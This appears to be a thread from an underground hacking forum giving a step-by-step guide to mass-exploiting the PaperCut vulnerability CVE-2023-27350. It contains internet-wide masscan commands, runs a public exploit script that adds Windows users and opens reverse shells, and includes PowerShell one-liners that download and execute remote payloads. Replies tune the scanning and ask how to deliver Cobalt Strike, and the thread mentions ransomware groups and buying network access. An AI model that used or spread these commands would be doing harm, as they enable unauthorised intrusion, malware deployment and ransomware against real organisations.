Мануал/Книга PaperCut MASS

Sec13B · 02.05.2023

CVE-2023-27350 Exploit POC

masscan ip (thank to Prokhorenco for examples)
ports are from shodan

Код:

sudo masscan -Pn -sS -iL ipcontry.txt --rate 6000 -p9191,443,80,9001,9000,9192,8080,311,444,1337,1926,2083,2376,3780,3790,4433,4443,5986,6443,7071,7443,7548,8009,8081,8089,8090,8139,8140,8181,8443,8880,8889,9002,9091,9443,9943,10000,10250,10443,16993,31337,55443,55553 --open-only --excludefile block.txt --output-format list --output-file file.txt

Код:

wget https://gist.githubusercontent.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2/raw/a4fa934311b8b9ed11fa6136d05565356601e991/blacklist.dat

Код:

cp blacklist.dat block.txt

or

Код:

mv blacklist.dat block.txt

Код:

git clone https://github.com/adhikara13/CVE-2023-27350.git

Код:

pip install -r requirements.txt

Код:

python3 CVE-2023-27350.py -f file.txt

Options

-u, --url: The URL of the target PaperCut MF/NG application (e.g., http://target-ip:9191).
-c, --command: The command to execute on the target system.
--reverse-shell: Use a reverse shell payload to execute commands on the target system.
-f, --file: Check multiple targets from a file (e.g., file.txt).

Example

Execute Command

To execute a command on the target system, use the -c option:
python CVE-2023-27350.py -u http://target-ip:9191 -c "net user test test1234 /add"

Reverse Shell

To use a reverse shell payload to execute commands on the target system, use the --reverse-shell option. You will be prompted to enter your IP address and port number:
python exploit.py -u http://target-ip:9191 --reverse-shell
Enter your IP address: <attacker-ip>
Enter your port number: <port>

Mass Checking

To check multiple targets from a file, use the -f option. The format of the file should be ip_address:port:
python CVE-2023-27350.py -f file.txt

Formatting the file.txt

When using the mass checking option with the file.txt input, make sure that the contents of the file are formatted correctly.
Each line of the file should contain the IP address and port number of a target, separated by a colon :. For example:
110.175.19.78:9191
110.175.19.78:80
192.168.1.1:8080

alex778 · 02.05.2023

А что это за софт? Он разве массовый какой-то, что про него везде пишут. Впервые слышу, зачем он?

grupenfurer · 02.05.2023

alex778 сказал(а):

А что это за софт? Он разве массовый какой-то, что про него везде пишут. Впервые слышу, зачем он?

вот же рядом тема )

https://xss.pro/threads/86989/

Kotiki · 02.05.2023

Можно пример как выглядит валид?

alex778 · 02.05.2023

grupenfurer сказал(а):

вот же рядом тема )

https://xss.pro/threads/86989/

Я видел. Не могу понять ажиотаж, потому и спросил.

weaver · 02.05.2023

alex778 сказал(а):

Я видел. Не могу понять ажиотаж, потому и спросил.

Clop и LockBit использует багу.

Цитирую

PaperCut — это программное обеспечение для управления печатью, совместимое со всеми основными марками принтеров и платформами. Он используется крупными компаниями, государственными организациями и учебными заведениями, а на веб-сайте компании утверждается, что им пользуются сотни миллионов людей из более чем 100 стран. Microsoft сообщает, что злоумышленники использует уязвимости PaperCut с 13 апреля для первоначального доступа к корпоративной сети.

slavenfww · 02.05.2023

the idea is ok, but with such a list of ports, there will be a lot of false positive results. as far as i know the default port is 9151
scanned some ranges suing a similar way of work with no luck

rwxrwx · 02.05.2023

Would probably need a mass checker for checking servers running PaperCut with the results of open ports from masscan...

Prokhorenco · 02.05.2023

Sec13B сказал(а):
CVE-2023-27350 Exploit POC

masscan ip (thank to Prokhorenco for examples)
ports are from shodan
Код:
sudo masscan -Pn -sS -iL ipcontry.txt --rate 6000 -p9191,443,80,9001,9000,9192,8080,311,444,1337,1926,2083,2376,3780,3790,4433,4443,5986,6443,7071,7443,7548,8009,8081,8089,8090,8139,8140,8181,8443,8880,8889,9002,9091,9443,9943,10000,10250,10443,16993,31337,55443,55553 --open-only --excludefile block.txt --output-format list --output-file file.txt
Код:
wget https://gist.githubusercontent.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2/raw/a4fa934311b8b9ed11fa6136d05565356601e991/blacklist.dat
Код:
cp blacklist.dat block.txt
or
Код:
mv blacklist.dat block.txt
Код:
git clone https://github.com/adhikara13/CVE-2023-27350.git
Код:
pip install -r requirements.txt
Код:
python3 CVE-2023-27350.py -f file.txt
Options

-u, --url: The URL of the target PaperCut MF/NG application (e.g., http://target-ip:9191).

-c, --command: The command to execute on the target system.

--reverse-shell: Use a reverse shell payload to execute commands on the target system.

-f, --file: Check multiple targets from a file (e.g., file.txt).

Example
Execute Command
To execute a command on the target system, use the -c option:
python CVE-2023-27350.py -u http://target-ip:9191 -c "net user test test1234 /add"

Reverse Shell
To use a reverse shell payload to execute commands on the target system, use the --reverse-shell option. You will be prompted to enter your IP address and port number:
python exploit.py -u http://target-ip:9191 --reverse-shell
Enter your IP address: <attacker-ip>
Enter your port number: <port>

Mass Checking
To check multiple targets from a file, use the -f option. The format of the file should be ip_address:port:
python CVE-2023-27350.py -f file.txt

Formatting the file.txt
When using the mass checking option with the file.txt input, make sure that the contents of the file are formatted correctly.
Each line of the file should contain the IP address and port number of a target, separated by a colon :. For example:
110.175.19.78:9191
110.175.19.78:80
192.168.1.1:8080

For warning, i havent done much reading on this vulnerability but with the 10minutes of knowledge i've gained this is what i would imagine you could do to improve your scan and results. One way i would improve this is by doing the following

Scan for PaperCut on it's default ports (non-standard are always better)

Bash:

sudo masscan -Pn -sS -iL ranges.txt --rate 12000 -p9191,9192 --open-only --excludefile block.txt --output-format list --output-file results.txt

Append ports to the end of IP addresses:

Bash:

awk '{ print $4 ":" $3 }' results.txt > final_results.txt

Scan using nuclei for CVE-2023-27350:

Bash:

nuclei -l final_results.txt -t nuclei-templates/cves/2023/CVE-2023-27350.yaml -o vulns.txt

Also as a side note you can specify output when using wget:

Bash:

wget https://gist.githubusercontent.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2/raw/a4fa934311b8b9ed11fa6136d05565356601e991/blacklist.dat -O block.txt

Great post though

Sec13B · 03.05.2023

Execute Command

Execute a command with -c option:

Код:

-c "powershell.exe -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://1yourhost.com/vpost_agent_p/fN4UAf.exe','C:/BY6e03ZA.exe') && c:/BY6e03ZA.exe"

grupenfurer · 03.05.2023

масскан в таком виде сохраняет результат open tcp 80 23.15.156.156 1683097025, есть ли опция чтоб ip:port писал? такой вид же скрипт сам не распарсит

Prokhorenco · 03.05.2023

grupenfurer сказал(а):

масскан в таком виде сохраняет результат open tcp 80 23.15.156.156 1683097025, есть ли опция чтоб ip:port писал? такой вид же скрипт сам не распарсит

Results from masscan in list format:

Код:

#masscan
open tcp 80 52.0.68.134 1683114468
open tcp 80 52.3.102.237 1683114468
open tcp 443 52.5.75.96 1683114468
open tcp 80 52.5.196.124 1683114468
open tcp 80 52.5.249.118 1683114468
open tcp 443 52.7.155.184 1683114468
open tcp 22 52.1.27.222 1683114468
open tcp 22 52.6.244.19 1683114468
open tcp 22 52.0.150.123 1683114468

Now format:

Bash:

awk '{ print $4 ":" $3 }' results.txt > final_results.txt

Final result:

Код:

52.0.68.134:80
52.3.102.237:80
52.5.75.96:443
52.5.196.124:80
52.5.249.118:80
52.7.155.184:443
52.1.27.222:22
52.6.244.19:22
52.0.150.123:22

SDA · 03.05.2023

Why do i get this error when trying to exceute PowerShell payload?
Python3 CVE-2023-27350.py -u 194.**.**.**:9191 -c "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://***.***.***.**:80/a'))""
bash: syntax error near unexpected token `('

Sec13B · 03.05.2023

SDA maybe dont know your Cobalt Strike try whoami,

Python:

-c "whoami"

SDA · 03.05.2023

Sec13B сказал(а):
SDA maybe dont know your Cobalt Strike try whoami,
Python:
-c "whoami"

whoami works can you tell my how to put cobalt payload there?

Sec13B · 03.05.2023

SDA сказал(а):

whoami works can you tell my how to put cobalt payload there?

i didnt test with cb, i dont have cb

jonni960 · 05.05.2023

3k+ айпишников лучше не пихать за раз,может крашнуть и все улетит в нот респонд

Мануал/Книга PaperCut MASS

(L3) cache

CVE-2023-27350 Exploit POC​

Options​

Example​

Execute Command​

Reverse Shell​

Mass Checking​

Formatting the file.txt​

Вложения

(L1) cache

(L3) cache

Всем кискам пис

(L1) cache

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3

(L3) cache

(L3) cache

(L3) cache

CVE-2023-27350 Exploit POC​

Options​

Example​

Execute Command​

Reverse Shell​

Mass Checking​

Formatting the file.txt​

(L3) cache

Execute Command​

(L3) cache

(L3) cache

Buying USA Accesses

(L3) cache

Buying USA Accesses

(L3) cache

(L3) cache

CVE-2023-27350 Exploit POC

Options

Example

Execute Command

Reverse Shell

Mass Checking

Formatting the file.txt

CVE-2023-27350 Exploit POC

Options

Example

Execute Command

Reverse Shell

Mass Checking

Formatting the file.txt

Execute Command